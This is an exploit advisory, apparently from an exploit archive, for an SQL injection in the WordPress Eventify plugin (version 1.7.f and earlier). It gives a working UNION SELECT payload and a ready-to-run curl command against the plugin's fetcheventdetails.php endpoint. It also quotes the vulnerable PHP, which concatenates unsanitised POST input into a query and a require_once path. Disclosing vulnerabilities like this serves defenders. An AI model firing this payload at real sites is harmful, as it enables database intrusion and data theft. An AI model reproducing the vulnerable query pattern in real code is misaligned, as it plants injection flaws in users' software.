WordPress Eventify - Simple Events plugin <= 1.7.f SQL Injection Vulnerability

# Exploit Title: WordPress Eventify - Simple Events plugin <= 1.7.f SQL Injection Vulnerability
# Date: 2011-09-07
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/eventify.zip
# Version: 1.7.f (tested)
# Note: magic_quotes has to be turned off

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PoC (POST data)
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http://www.site.com/wp-content/plugins/eventify/php/ajax/fetcheventdetails.php
 npath=../../../../../wp-content&eventid=-1' UNION ALL SELECT 1,2,current_user(),connection_id(),version(),database(),7,8,9--%20

e.g.:
curl --data "npath=../../../../../wp-content&eventid=-1' UNION ALL SELECT 1,2,current_user(),connection_id(),version(),database(),7,8,9-- " http://www.site.com/wp-content/plugins/eventify/php/ajax/fetcheventdetails.php

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Vulnerable code
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require_once(str_ireplace("/wp-content","",$_POST['npath']).'/wp-load.php');
$eventid =  $_POST['eventid'];
$action = "fetch";

if($action=="fetch"){
    ...
    $qry= "select * from ".$table_name." where em_id='$eventid'" ;
    ...
    $results = $wpdb->get_results($qry);